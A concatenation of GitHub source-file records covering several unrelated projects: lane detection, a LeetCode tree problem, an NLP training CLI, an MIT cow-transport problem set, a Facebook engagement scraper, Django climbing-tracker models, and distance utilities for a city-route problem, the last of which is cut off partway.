absSobelThreshFilter(blurImg,'x',sobelKernelSize, absSobelXThresh)\n        magGradImg = magSobelThreshFilter(blurImg, sobelKernelSize, magSobelThresh)\n        gradImg = mergeWithAnd(xGradImg, magGradImg)\n        # Filter via s-channel filter esp. for yellow this is important\n        sChannelImg = sChannelThreshFilter(blurImg, sChannelThresh)\n        # Merge gradient and s-channel images via or to get best out of both worlds\n        finalImg = mergeWithOr(gradImg, sChannelImg)\n        # Show before after\n        #misc.showBeforeAfter(cv2.cvtColor(img, cv2.COLOR_BGR2RGB), \"Original\", cv2.cvtColor(finalImg*255,cv2.COLOR_BGR2RGB), \"Gradient and color threshold filter\")\n        #misc.showImageInNewFigure(cv2.cvtColor(finalImg*255,cv2.COLOR_BGR2RGB), \"Gradient and color threshold filter\")\n        cv2.imwrite('debugOutput/' + misc.getFilenameFromPath(imageName), cv2.cvtColor(finalImg*255,cv2.COLOR_BGR2RGB))\n\n\n","repo_name":"mBet608/CarND-Advanced-Lane-Lines","sub_path":"colorAndGradientThresholding.py","file_name":"colorAndGradientThresholding.py","file_ext":"py","file_size_in_byte":4156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12979433685","text":"# https://leetcode.com/problems/closest-leaf-in-a-binary-tree/\n\n# > 类型：DFS遍历树 + BFS遍历图\n# > Time Complexity O(N)\n# > Space Complexity O(N)\n\n\n# 这道题对指定的target k和叶子节点的定义可以理解是一个无向图里面找寻k节点最近的邻居(这个邻居要满足是叶子节点的条件)\n\n# 有了以上思路，先Preorder扫一遍Tree，然后创建一个图，具体参考子方程dfs，期间记住存储以下叶子节点，方便与之后处理邻居满足叶子节点这一返回条件\n\n# 当图建立好了以后，在图里面进行遍历，如果找到的邻居也满足叶子条件的话，返回即可。\n\n\n\n\n# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, x):\n#         self.val = x\n#         self.left = None\n#         self.right = None\n\nimport collections\n\nclass Solution:\n    def findClosestLeaf(self, root: TreeNode, k: int) -> int:\n        self.res = None\n        self.dic, self.leaves = collections.defaultdict(list), set()\n        self.dfs(root)   \n        self.bfs(k)\n        return self.res\n\n    def dfs(self, root):\n        '''Preorder through the Tree and construct graph'''\n        if not root: return\n        if not root.left and not root.right:\n            self.leaves.add(root.val)\n            return\n        if root.left:\n            self.dic[root.val].append(root.left.val)\n            self.dic[root.left.val].append(root.val)\n            self.dfs(root.left)\n        if root.right:\n            self.dic[root.val].append(root.right.val)\n            self.dic[root.right.val].append(root.val)\n            self.dfs(root.right)\n    \n    def bfs(self, k):\n        '''Find the closest neighbor of k that is also a leaf'''\n        q = [k]\n        while q:\n            new_q = []\n            for node in q:\n                if node in self.leaves:\n                    self.res = node\n                    return\n                new_q += self.dic.pop(node, [])\n            q = new_q","repo_name":"syzdemonhunter/Coding_Exercises","sub_path":"Leetcode/742.py","file_name":"742.py","file_ext":"py","file_size_in_byte":1969,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"36680138706","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n__author__ = 'Edoardo Lenzi, Beatrice Portelli, Simone Scaboro'\n__version__ = '1.0'\n__license__ = '???'\n__copyright__ = '???'\n\n# load .env configs\nfrom ade_detection.utils.env import Env\nEnv.load()\nfrom ade_detection.utils.logger import Logger\nLOG = Logger.getLogger(__name__)\n\nimport os \nimport sys\nimport shutil\nfrom os import path\nfrom datetime import datetime\nfrom ade_detection.services.tokenization_service import TokenizationService\n#from ade_detection.importer.task1_2019_2020_importer import Task120192020Importer\n#from ade_detection.importer.smm4h2020_task2_importer import SMM4H2020T2Importer\n#from ade_detection.importer.smm4h2020_task3_importer import SMM4H2020T3Importer\n#from ade_detection.importer.smm4h19_task1_importer import SMM4H19Task1Importer\n#from ade_detection.importer.bayer_importer import BayerImporter\nfrom ade_detection.importer.smm4h20_importer import SMM4H20Importer\nfrom ade_detection.importer.cadec_importer import CadecImporter\n#from ade_detection.importer.smm4h19_neg_spec_importer import SMM4H19NegSpecImporter\n#from ade_detection.importer.smm4h19_blind_importer import SMM4H19BlindImporter\n#from ade_detection.importer.smm4h_original_data_importer import SMM4HOriginalDataImporter\n#from ade_detection.importer.smm4h_negation_speculation_importer import SMM4H19NegSpecImporter\nfrom ade_detection.services.database_service import DatabaseService\n# from ade_detection.importer.smm4h22_task1a_importer import SMM4H22Task1aImporter\n# from ade_detection.importer.smm4h22_task1b_importer import SMM4H22Task1bImporter\nfrom ade_detection.services.model_service import ModelService\nfrom ade_detection.domain.train_config import TrainConfig\nfrom ade_detection.models.task_loader import TaskLoader\nfrom ade_detection.models.trainer import Trainer\nfrom ade_detection.models.trainer_binary import TrainerBinary\nimport ade_detection.utils.localizations as loc\nimport ade_detection.utils.file_manager as fm\nfrom ade_detection.domain.task import Task\nfrom ade_detection.domain.enums import *\nfrom ade_detection.models.comparator import Comparator\n\nimport numpy as np\nimport torch\nimport random\n\nfrom ade_detection.utils.grid_search import GridSearch\nfrom ade_detection.utils.full_test import FullTest\n\nclass CliHandler(object):\n\n    '''Cli business logic, given the arguments typed\n    calls the right handlers/procedures of the pipeline'''\n\n\n    def __init__(self, args):\n        if not path.exists(loc.abs_path([loc.TMP, loc.BIO_BERT_GIT])):\n            pass\n            #ModelService.get_bio_git_model()\n        if args.import_ds:\n            self.import_handler()\n        if args.run is not None:\n            if args.cadec and args.gs:\n                Env.DB = \"DBCADEC\"\n            elif args.smm4h and args.gs:\n                Env.DB = \"DBSMM4H\"\n            elif args.cadec and args.ft:\n                Env.DB = \"DBCADECFT\"\n            elif args.smm4h and args.ft:\n                Env.DB = \"DBSMM4HFT\"\n            else:\n                assert False, \"Smm4h or cadec\"\n            self.run_handler(args)\n        elif args.clean:\n            self.clean_handler()\n        else:\n            self.default_handler()\n\n\n    # Command Handlers \n\n    def default_handler(self):\n        pass\n        \n\n    def clean_handler(self):\n        #LOG.info('clean')\n        fm.rmdir(loc.TMP_PATH)\n\n    \n    def import_handler(self):\n        if os.path.exists(loc.DB_PATH):\n            os.remove(loc.DB_PATH)\n        DB = DatabaseService()\n        DB.create_all()\n        \n        #CadecImporter()\n        #SMM4H20Importer()\n        #TokenizationService(CORPUS.CADEC)\n        #TokenizationService(CORPUS.SMM4H20)\n        # SMM4H19NegSpecImporter()\n        # SMM4H22Task1aImporter()\n        # SMM4H22Task1bImporter()\n        # TokenizationService(CORPUS.SMM4H22_TASK1A)\n        # TokenizationService(CORPUS.SMM4H2_TASK1B)\n        # TokenizationService(CORPUS.SMM4H19_NEG_SPEC)\n\n    def set_all_seed(self, seed):\n        #LOG.info(f\"random seed {seed}\")\n        np.random.seed(seed)\n        random.seed(seed)\n        torch.manual_seed(seed)\n        # if you are using GPU\n        if torch.cuda.is_available():\n            torch.cuda.manual_seed_all(seed)\n    \n    def get_architecture(self, args):\n        \"\"\" get architecture name \"\"\"\n        if args.lstm:\n            return \"BERT_LSTM\"\n        if args.crf:\n            return \"BERT_CRF\"\n        if args.wrapper:\n            return \"BERT_WRAPPER\"\n        raise Exception(\"You have to specity the architecture type: crf, wrapper, lstm\")\n\n    def run_handler(self,args):\n        _path = \"\"\n        if args.cadec:\n            _CORPUS = \"CADEC\"\n            _SPLIT = \"cadec\"\n        elif args.smm4h:\n            _CORPUS = \"SMM4H20\"\n            _SPLIT = \"smm4h20\"\n        else:\n            pass\n            #raise Exception(\"You have to specify the dataset: -cadec or -smm4h\")\n\n        if args.gs:\n            grid_search = GridSearch(_SPLIT, _CORPUS, self.get_architecture(args))\n            grid_search.generate_run()\n            _path = grid_search.get_run_path()\n\n        elif args.ft:\n            full_test = FullTest(_SPLIT, _CORPUS, args.express, self.get_architecture(args))\n            full_test.create_best_runs()\n            _path = full_test.get_run_path()\n\n        else:\n            _path = \"\"\n            \n        json = fm.from_json(\"assets/runs/\" + _path + args.run[0])\n\n        \n        for task in json:\n            #print(task['train_config']['random_seed'])\n            random_seed = int(task['train_config']['random_seed'])\n            self.set_all_seed(random_seed)\n\n            train_config = TrainConfig(int(task['train_config']['max_patience']),\n                                        float(task['train_config']['learning_rate']), \n                                        float(task['train_config']['dropout']),\n                                        int(task['train_config']['epochs']),\n                                        int(task['train_config']['batch_size']), \n                                        random_seed, \n                                        float(task['train_config']['epsilon']))\n            \n            loaded_task = TaskLoader(Task( task['id'], task['split_folder'], \n                                            enums_by_list(TIDY_MODE, task['tidy_modes']), \n                                            enum_by_name(CORPUS, task['corpus']), \n                                            enum_by_name(NOTATION, task['notation']), \n                                            enum_by_name(MODEL, task['model']), \n                                            enum_by_name(ARCHITECTURE, task['architecture']), \n                                            enums_by_list(ANNOTATION_TYPE, task['goal']), \n                                            enum_by_name(TRAIN_MODE, task['train_mode']), \n                                            train_config ))\n            \n            #if task[\"notation\"] == \"BINARY\":\n            #    TrainerBinary(loaded_task.task)\n            #else:\n            Trainer(loaded_task.task) \n\n            final_model = fm.from_pickle(loc.abs_path([loc.TMP, f\"{task['id']}.pickle\"]))\n            comparator = Comparator([final_model], f\"METRICS_{task['id']}.pickle\", just_last=True)\n            best = comparator.get_best()\n\n#            if self.args.grid_search is not None:\n            if args.gs:\n                grid_search.add_row(task, best)\n            if args.ft:\n                full_test.add_row(task, best)\n\n        if args.gs:\n            grid_search.get_best_run()\n        if args.ft:\n            full_test.get_mean(task['split_folder'], task['model'])\n\n        with open(\"tests_log.txt\",\"a\") as fp:\n            fp.write(f\"✓ {'full test' if args.ft else 'grid search'} completed for {task['model']} ({task['split_folder']} - {task['architecture'].lower()})[{datetime.today().strftime('%d-%m-%Y')}]\\n\")\n\nif __name__ == '__main__':\n    #LOG.info(f'Subprocess started {sys.argv}')\n    sys.stdout.flush()\n    from ade_detection.cli import Parser\n    args = Parser().parse()    \n    CliHandler(args)\n","repo_name":"AilabUdineGit/ade-detection-survey","sub_path":"autoencoding/ade_detection/cli_handler.py","file_name":"cli_handler.py","file_ext":"py","file_size_in_byte":8080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"13609116993","text":"###########################\n# 6.0002 Problem Set 1a: Space Cows\n# Name: Brighton Ancelin\n# Collaborators:\n# Time:\n#\n# SEARCH FOR \"MY_CODE\" COMMENT TO FIND MY CONTRIBUTIONS\n\nfrom ps1_partition import get_partitions\nfrom timeit import default_timer\n\n#================================\n# Part A: Transporting Space Cows\n#================================\n\n# Problem 1\ndef load_cows(filename):\n    \"\"\"\n    Read the contents of the given file.  Assumes the file contents contain\n    data in the form of comma-separated cow name, weight pairs, and return a\n    dictionary containing cow names as keys and corresponding weights as values.\n\n    Parameters:\n    filename - the name of the data file as a string\n\n    Returns:\n    a dictionary of cow name (string), weight (int) pairs\n    \"\"\"\n    # MY_CODE\n    cow_dict = {}\n    with open(filename, 'r') as f:\n        for line in f:\n            name, weight = line.split(',')\n            cow_dict[name] = int(weight)\n    return cow_dict\n\n\n# Problem 2\ndef greedy_cow_transport(cows, limit=10):\n    \"\"\"\n    Uses a greedy heuristic to determine an allocation of cows that attempts to\n    minimize the number of spaceship trips needed to transport all the cows. The\n    returned allocation of cows may or may not be optimal.\n    The greedy heuristic should follow the following method:\n\n    1. As long as the current trip can fit another cow, add the largest cow that will fit\n        to the trip\n    2. Once the trip is full, begin a new trip to transport the remaining cows\n\n    Does not mutate the given dictionary of cows.\n\n    Parameters:\n    cows - a dictionary of name (string), weight (int) pairs\n    limit - weight limit of the spaceship (an int)\n\n    Returns:\n    A list of lists, with each inner list containing the names of cows\n    transported on a particular trip and the overall list containing all the\n    trips\n    \"\"\"\n    # MY_CODE\n    remaining = sorted(cows.copy(), key=cows.get, reverse=True)\n    assert cows[remaining[0]] <= limit, \"Problem shouldn't be impossible!\"\n    boarding_list = []\n    while remaining:\n        cur_list = []\n        occupancy = 0\n        for cow in remaining:\n            if occupancy + cows[cow] <= limit:\n                cur_list += [cow]\n                occupancy += cows[cow]\n            elif occupancy + cows[remaining[-1]] > limit:\n                break\n        for elem in cur_list:\n            remaining.remove(elem)\n        boarding_list += [cur_list]\n    return boarding_list\n\n\n# Problem 3\ndef brute_force_cow_transport(cows,limit=10):\n    \"\"\"\n    Finds the allocation of cows that minimizes the number of spaceship trips\n    via brute force.  The brute force algorithm should follow the following method:\n\n    1. Enumerate all possible ways that the cows can be divided into separate trips\n        Use the given get_partitions function in ps1_partition.py to help you!\n    2. Select the allocation that minimizes the number of trips without making any trip\n        that does not obey the weight limitation\n\n    Does not mutate the given dictionary of cows.\n\n    Parameters:\n    cows - a dictionary of name (string), weight (int) pairs\n    limit - weight limit of the spaceship (an int)\n\n    Returns:\n    A list of lists, with each inner list containing the names of cows\n    transported on a particular trip and the overall list containing all the\n    trips\n    \"\"\"\n    # MY_CODE\n    for partition in get_partitions(cows.keys()):\n        valid_partition = True  # Innocent until proven guilty\n        for trip in partition:\n            weight_total = sum(cows[x] for x in trip)\n            if weight_total > limit:\n                valid_partition = False\n                break\n        if valid_partition:\n            return partition\n    assert False, \"Problem shouldn't be impossible!\"\n\n\n# Problem 4\ndef compare_cow_transport_algorithms():\n    \"\"\"\n    Using the data from ps1_cow_data.txt and the specified weight limit, run your\n    greedy_cow_transport and brute_force_cow_transport functions here. Use the\n    default weight limits of 10 for both greedy_cow_transport and\n    brute_force_cow_transport.\n\n    Print out the number of trips returned by each method, and how long each\n    method takes to run in seconds.\n\n    Returns:\n    Does not return anything.\n    \"\"\"\n    # MY_CODE\n    cows = load_cows('ps1_cow_data.txt')\n    start = default_timer()\n    sol_greedy = greedy_cow_transport(cows)\n    end = default_timer()\n    time_greedy = end - start\n    start = default_timer()\n    sol_brute = brute_force_cow_transport(cows)\n    end = default_timer()\n    time_brute = end - start\n    print('Greedy:', sol_greedy)\n    print('    Length:', len(sol_greedy))\n    print('    Time:', time_greedy)\n    print('Brute:', sol_brute)\n    print('    Length:', len(sol_brute))\n    print('    Time:', time_brute)\n    print('Time for greedy was {0}x faster than brute'.format(\n            time_brute/time_greedy))\n\n# MY_CODE\nif __name__ == '__main__':\n    compare_cow_transport_algorithms()\n","repo_name":"brightonanc/MIT-OCW-6.0002-Intro-Computation-Data-Science","sub_path":"Psets/PS1/ps1a.py","file_name":"ps1a.py","file_ext":"py","file_size_in_byte":4973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12047509998","text":"'''\nNewsArticleSocialSignalUpdater\n\nUse the public Facebook API to collect the social signals for all news articles in database.\nThe API takes as parameter a list of 50 urls, so each everything is processed in batches of 50.\n\n\nAffect database tables:\n* INSERT/UPDATE\n - rpm_pages_social_signals\n \n'''\n\n\nimport facebook\nimport requests\nimport json\nimport sys\nimport urllib.parse\n\nimport pymysql.cursors\nimport pymysql\nimport yaml\n\nfrom datetime import date, timedelta, datetime\nfrom time import sleep\n\n\nclass NewsArticleSocialSignalUpdater:\n\n    with open(\"config.yaml\", 'r') as ymlfile:\n        config = yaml.safe_load(ymlfile)\n\n    FB_APP_ID = config['channel']['facebook']['app_id']\n    FB_APP_SECRET = config['channel']['facebook']['app_secret']\n\n    MYSQL_HOST = config['database']['mysql']['host']\n    MYSQL_USER = config['database']['mysql']['user']\n    MYSQL_PWD = config['database']['mysql']['password']\n    MYSQL_DBNAME = config['database']['mysql']['dbname']\n\n    ACCESS_TOKEN = config['script']['nassupdater']['access_token']\n\n    SERVER_IP = config['url']['api_server']\n\n    URL_MAX_AGE_IN_DAYS = 10\n\n    FB_API_ERR__UNKNOWN = 1001\n    FB_API_ERR__REQUEST_LIMIT_REACHED = 1002\n    FB_API_ERR__ACCESS_TOKEN_ISSUE = 1003\n\n\n    def __init__(self):\n        self.graph = facebook.GraphAPI()\n        self.db = pymysql.connect(host=NewsArticleSocialSignalUpdater.MYSQL_HOST,\n                                  user=NewsArticleSocialSignalUpdater.MYSQL_USER,\n                                  passwd=NewsArticleSocialSignalUpdater.MYSQL_PWD,\n                                  database=NewsArticleSocialSignalUpdater.MYSQL_DBNAME,\n                                  autocommit=True)\n\n        self.access_token = NewsArticleSocialSignalUpdater.ACCESS_TOKEN\n\n    def get_engagement(self, url):\n\n        try:\n            response = requests.get('https://graph.facebook.com/?id={}&fields=engagement&access_token={}'.format(url, self.access_token))\n            response_json = json.loads(response.text)\n            x_app_usage = json.loads(response.headers['x-app-usage'])\n            if 'error' in response_json:\n                if 'limit' in response_json['error']['message']:\n                    return None, x_app_usage, NewsArticleSocialSignalUpdater.FB_API_ERR__REQUEST_LIMIT_REACHED\n                elif 'token' in response_json['error']['message']:\n                    return None, x_app_usage, NewsArticleSocialSignalUpdater.FB_API_ERR__ACCESS_TOKEN_ISSUE\n                else:\n                    return None, x_app_usage, NewsArticleSocialSignalUpdater.FB_API_ERR__UNKNOWN\n            else:\n                engagement = None\n                if 'engagement' in  response_json:\n                    engagement = response_json['engagement']\n                return engagement, x_app_usage, 0\n        except Exception as e:\n            print(e)\n            return None, None, NewsArticleSocialSignalUpdater.FB_API_ERR__UNKNOWN\n\n\n    def get_share_count(self, url):\n        try:\n            response = requests.get('https://graph.facebook.com/?fields=share&id={}'.format(url))\n            x_app_usage = json.loads(response.headers['x-app-usage'])\n            share_count = json.loads(response.text)['share']['share_count']\n            return share_count, x_app_usage\n        except Exception as e:\n            print(e)\n            return None, None\n\n    def get_share_data(self, url_list):\n        try:\n            urls_string = ','.join(map(str, url_list))\n            urls_string = urllib.parse.quote(urls_string)\n            response = requests.get(\"https://graph.facebook.com/v2.2/?ids={}&access_token={}&fields=engagement\".format(urls_string, self.access_token))\n            x_app_usage = json.loads(response.headers['x-app-usage'])\n            response_json = json.loads(response.text)\n            return response_json, x_app_usage, 0\n        except Exception as e:\n            print(e)\n            return None, None, NewsArticleSocialSignalUpdater.FB_API_ERR__UNKNOWN\n\n\n\n    def set_updated_at(self, url_ids_list, date_str):\n        if len(url_ids_list) == 0:\n            return\n        id_str_line = ','.join([\"'{}'\".format(id_str) for id_str in url_ids_list])\n        query = \"UPDATE rpm_news_articles SET updated_at = STR_TO_DATE('{}','%Y-%m-%d %H:%i:%s') WHERE id IN ({})\".format(date_str, id_str_line)\n        with self.db.cursor() as cursor:\n            cursor.execute(query)\n\n\n    def set_flag(self, url_ids_list, value):\n        if len(url_ids_list) == 0:\n            return\n        id_str_line = ','.join([ \"'{}'\".format(id_str) for id_str in url_ids_list])\n        query = \"UPDATE rpm_news_articles SET flag = {} WHERE id IN ({})\".format(value, id_str_line)\n        with self.db.cursor() as cursor:\n            cursor.execute(query)\n\n\n    def get_next_article_batch(self, min_date_str, limit=50):\n        batch = []\n        query = \"SELECT id, url, published_at FROM rpm_news_articles WHERE valid = 1 AND MOD(GREATEST(valid, flag), 3) <> 0 AND published_at >= STR_TO_DATE('{}', '%Y-%m-%dT%TZ') ORDER BY updated_at ASC LIMIT {}\".format(min_date_str, limit)\n        with self.db.cursor() as cursor:\n            cursor.execute(query)\n            while True:\n                row = cursor.fetchone()\n                if row is None:\n                    break\n                batch.append((row[0], row[1].lower(), row[2]))\n\n        return batch\n\n\n    def post_social_signals(self, url_id_str, share_count, comment_count, reaction_count):\n        try:\n            if share_count > 0:\n                r = requests.post(NewsArticleSocialSignalUpdater.server_ip +'/pages/socialsignals/', json={\"signal_source\": 200, \"signal_type\": 203, \"signal_value\": share_count, \"url_id\": url_id_str})\n            if reaction_count > 0:\n                r = requests.post(NewsArticleSocialSignalUpdater.server_ip + '/pages/socialsignals/', json={\"signal_source\": 200, \"signal_type\": 202, \"signal_value\": reaction_count, \"url_id\": url_id_str})\n            if comment_count > 0:\n                r = requests.post(NewsArticleSocialSignalUpdater.server_ip + '/pages/socialsignals/', json={\"signal_source\": 200, \"signal_type\": 201, \"signal_value\": comment_count, \"url_id\": url_id_str})\n            return True\n        except Exception as e:\n            print(\"[Error] NewsArticleSocialSignalUpdater.post_social_signals:\", e)\n            return False\n\n\n    def process_batch(self, min_date_str):\n        batch = self.get_next_article_batch(min_date_str)\n\n        x_app_usage = {}\n\n        if len(batch) == 0:\n            return True, x_app_usage\n\n        url_ids_list = [ str(tup[0]) for tup in batch ]\n        url_list = [ str(tup[1]) for tup in batch ]\n\n        _, _, last_published_at = batch[-1]\n\n        response, x_app_usage, error = self.get_share_data(url_list)\n        response = {k.lower(): v for k, v in response.items()}\n\n        if error == NewsArticleSocialSignalUpdater.FB_API_ERR__REQUEST_LIMIT_REACHED:\n            print(\"Application request limit reached: {}\".format(str(x_app_usage)))\n            return True, x_app_usage, last_published_at\n\n        if error == NewsArticleSocialSignalUpdater.FB_API_ERR__ACCESS_TOKEN_ISSUE:\n            print(\"Access token issue: {}\".format(self.access_token))\n            self.access_token = self.graph.get_app_access_token(NewsArticleSocialSignalUpdater.FB_APP_ID, NewsArticleSocialSignalUpdater.FB_APP_SECRET)\n            print(\"New access token: {}\".format(self.access_token))\n            return False, x_app_usage, last_published_at\n\n        if error == NewsArticleSocialSignalUpdater.FB_API_ERR__UNKNOWN:\n            print(\"Unknown error\")\n            return True, x_app_usage, last_published_at\n\n        for idx in range(len(url_list)):\n            url = url_list[idx]\n            url_id = url_ids_list[idx]\n\n            try:\n                engagement = response[url]['engagement']\n                self.post_social_signals(url_ids_list[idx], engagement['share_count'], engagement['comment_count'], engagement['reaction_count'])\n            except Exception as e:\n                print(e)\n\n        today = datetime.now()\n        expired_url_ids_list = [ str(id_str) for id_str, url, published_at in batch if (today - published_at).days > NewsArticleSocialSignalUpdater.URL_MAX_AGE_IN_DAYS ]\n\n        self.set_flag(expired_url_ids_list, 3)\n        self.set_updated_at(url_ids_list, (today+timedelta(days=1)).strftime('%Y-%m-%d %H:%M:%S'))\n\n        return False, x_app_usage, last_published_at\n\n\n    def process(self, min_date_str):\n        sys.stdout.write('Start fetching social signals for news articles ({})\\n'.format(min_date_str))\n        sys.stdout.flush()\n        done = False\n        while not done:\n            sys.stdout.write('Processing batch...')\n            sys.stdout.flush()\n            done, x_app_usage, last_published_at = self.process_batch(min_date_str)\n            sys.stdout.write('DONE ({}, {})\\n'.format(str(x_app_usage), str(last_published_at)))\n            sys.stdout.flush()\n            sleep(20)\n\n\n\n\nif  __name__ == '__main__':\n\n    nass_updater = NewsArticleSocialSignalUpdater()\n\n    url = 'https://www.nytimes.com/2018/08/21/nyregion/michael-cohen-plea-deal-trump.html'\n    url_2 = 'http://www.channelnewsasia.com/news/business/volkswagen--misused--me--accused-executive-tells-judge-9464732'\n    print(nass_updater.get_engagement(url))\n    print(nass_updater.get_share_count(url))\n    print(len(nass_updater.get_next_article_batch('2018-03-01')))\n\n    if len(sys.argv) < 2:\n        print(\"Usage: python nassupdater.py <min-date-str>\")\n        exit(0)\n\n    min_date_str = sys.argv[1]\n    print(min_date_str)\n    nass_updater.process(min_date_str)\n\n\n## But the number shown is the sum of:\n#\n#  - number of likes of this URL\n#  - number of shares of this URL (this includes copy/pasting a link back to Facebook)\n#  - number of likes and comments on stories on Facebook about this URL\n#  - number of inbox messages containing this URL as an attachment.\n","repo_name":"chrisvdweth/rpm","sub_path":"core/scripts/cron/nassupdater.py","file_name":"nassupdater.py","file_ext":"py","file_size_in_byte":9925,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"39094830627","text":"import datetime\n\nfrom django.contrib.auth.models import User\nfrom django.core.exceptions import ValidationError\nfrom django.core.validators import MaxValueValidator\nfrom django.db import models\nfrom django.db.models.signals import post_delete, post_save, pre_save\nfrom django.dispatch import receiver\n\nfrom users.models import User\n\n\nclass Peak(models.Model):\n    name = models.CharField(max_length=50)\n    display_name = models.CharField(max_length=50, default=name)\n    elevation = models.PositiveIntegerField()\n    lat = models.DecimalField(decimal_places=5, max_digits=8)\n    long = models.DecimalField(decimal_places=5, max_digits=8)\n    peakbagger_link = models.URLField()\n    complete = models.BooleanField(default=False)\n\n    def __str__(self):\n        return self.name\n\n\nclass Tick(models.Model):\n    climber = models.ForeignKey(User, on_delete=models.PROTECT)\n    peak = models.ForeignKey(Peak, on_delete=models.PROTECT)\n    date = models.DateField(help_text=\"The date you summited the peak.\")\n\n    def __str__(self):\n        return self.climber.first_name + \" \" + self.climber.last_name + \", \" + str(self.peak)\n\n\n@receiver(pre_save, sender=Tick)\ndef date_must_be_2020(instance, **kwargs):\n    if instance.date < datetime.date(2020, 1, 1):\n        raise ValidationError(\"Date must be after 2020\")\n\n\n@receiver(post_save, sender=Tick)\ndef mark_peak_as_complete(instance, created, **kwargs):\n    if created:\n        instance.peak.complete = True\n        instance.peak.save()\n\n\n@receiver(post_delete, sender=Tick)\ndef mark_peak_as_incomplete(sender, instance, **kwargs):\n    if not sender.objects.filter(peak=instance.peak).exists():\n        instance.peak.complete = False\n        instance.peak.save()\n\n\nclass InterestedClimber(models.Model):\n    climber = models.ForeignKey(User, on_delete=models.CASCADE)\n    peak = models.ForeignKey(Peak, on_delete=models.CASCADE)\n\n\n@receiver(pre_save, sender=InterestedClimber)\ndef interest_peak_only_once(sender, instance, **kwargs):\n    if sender.objects.filter(climber=instance.climber, peak=instance.peak).exists():\n        raise ValidationError(\"A climber can only be interested in a particular peak once\")\n\n\nclass TripReport(models.Model):\n    max_images = 8\n    difficulty_choices = [(1, \"Easy\"), (2, \"Moderate\"), (3, \"Difficult\"), (4, \"Epic\")]\n\n    writer = models.ForeignKey(User, on_delete=models.PROTECT)\n    peak = models.ForeignKey(Peak, on_delete=models.PROTECT, null=True)\n    published = models.BooleanField(default=False)\n    permits = models.CharField(null=True, blank=True, default=None, max_length=150)\n    start = models.DateField(null=True, blank=True)\n    end = models.DateField(null=True, blank=True)\n    difficulty = models.IntegerField(choices=difficulty_choices, default=1)\n    route_name = models.CharField(max_length=150, null=True, blank=True)\n    snow_level = models.PositiveIntegerField(validators=[MaxValueValidator(15000)], null=True, blank=True)\n    elevation_gain = models.PositiveIntegerField(validators=[MaxValueValidator(15000)], null=True, blank=True)\n    total_miles = models.DecimalField(decimal_places=2, max_digits=4, null=True, blank=True)\n    weather = models.TextField(null=True, blank=True)\n    gear = models.TextField(null=True, blank=True)\n    report = models.TextField(null=True, blank=True)\n\n    def __str__(self):\n        return str(self.peak)\n\n\nclass ReportTime(models.Model):\n    locations = [(\"TH\", \"Trail Head\"), (\"C\", \"Camp\"), (\"S\", \"Summit\")]\n    trip_report = models.ForeignKey(TripReport, on_delete=models.CASCADE)\n    start_point = models.CharField(max_length=30, choices=locations)\n    end_point = models.CharField(max_length=30, choices=locations)\n    time = models.DecimalField(decimal_places=1, max_digits=3)\n\n\nclass ReportImage(models.Model):\n    trip_report = models.ForeignKey(TripReport, on_delete=models.CASCADE)\n    image = models.ImageField(upload_to=\"images/trip_reports\", null=True)\n\n\n@receiver(pre_save, sender=ReportImage)\ndef image_validation(sender, instance, **kwargs):\n    if sender.objects.filter(trip_report=instance.trip_report).count() >= TripReport.max_images:\n        raise ValidationError(\"No more images allowed\")\n    if instance.image.size > 5242880:\n        raise ValidationError(\"The image is more than 5mb\")\n\n\nclass ReportComment(models.Model):\n    user = models.ForeignKey(User, models.CASCADE)\n    trip_report = models.ForeignKey(TripReport, models.CASCADE)\n    time = models.DateTimeField(auto_now_add=True)\n    comment = models.TextField()\n","repo_name":"raymond-devries/skagit60","sub_path":"tracker/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30945567123","text":"__author__ = 'michaelwild'\n__copyright__ = \"Copyright (C) 2018 Michael Wild and Corwin Tiers\"\n__license__ = \"Apache License, Version 2.0\"\n__version__ = \"0.1.2\"\n__credits__ = [\"Michael Wild\", \"Corwin Tiers\"]\n__maintainer__ = \"Michael Wild\"\n__email__ = \"alohawild@mac.com\"\n__status__ = \"Initial\"\n\n\nimport numpy as np\nimport pandas as pd\nfrom scipy import spatial\nfrom time import process_time\nfrom sklearn.preprocessing import MaxAbsScaler\nimport sys\n\n\n# ######################## shared ##############################\n\n\ndef isprime(x):\n    \"\"\"\n    This is the old way of doing this...But easy\n    \"\"\"\n    if x < 2:\n        return False  # Number 1 or less is\n    if x == 2:  # Number is 2\n        return True\n    if x % 2 == 0:  # Number is even\n        return False\n    if x > 2:  # The rest\n        for i in range(3, int(np.sqrt(x))+1, 2):\n            if x % i == 0:\n                return False\n        return True\n\n\ndef calced(start_point, end_point):\n    \"\"\"\n    Calculate and return as a single number the distance between two points\n    I used this instead of writing it out to avoid a typo that would be impossible to find\n    :param start_point: [[x, y]] array of points\n    :param end_point: [[x, y]] array of points\n    :return: real number of distance\n    \"\"\"\n    euclidean_distance = spatial.distance.cdist(start_point, end_point, \"euclidean\")\n    euclidean_distance = euclidean_distance[0]  # Force to list of one number\n    euclidean_distance = euclidean_distance[0]  # Force to number\n    return euclidean_distance\n\n\ndef run_time(start):\n    \"\"\"\n    Just takes in previous time and returns elapsed time\n    :param start: start time\n    :return: elapsed time\n    \"\"\"\n    return process_time() - start\n\n\ndef snake(number, length=10):\n\n    if length <= 0:\n        raise Exception('Bad length number')\n\n    row = int(number / length)\n    if even(row):\n        snake_value = number\n    else:\n        snake_value = (length - (number % length))+ row*length -1\n\n    return snake_value\n\n\ndef even(number):\n    return (number % 2) == 0\n\n\ndef dist_city(start_city, end_city, dict):\n    \"\"\"\n    Measures distance between two cities\n    :param start_city: number of city (int)\n    :param end_city: number of other city\n    :param dict: The dictionary with the cites in it.\n    :return: returns the euclidian distance\n    \"\"\"\n\n    if (start_city < len(dict)) & (end_city < len(dict)):\n        start_point = [dict[start_city]['Loc']]\n        end_point = [dict[end_city]['Loc']]\n        ed = calced(start_point, end_point)\n    else:\n        raise Exception('Bad city number')\n\n   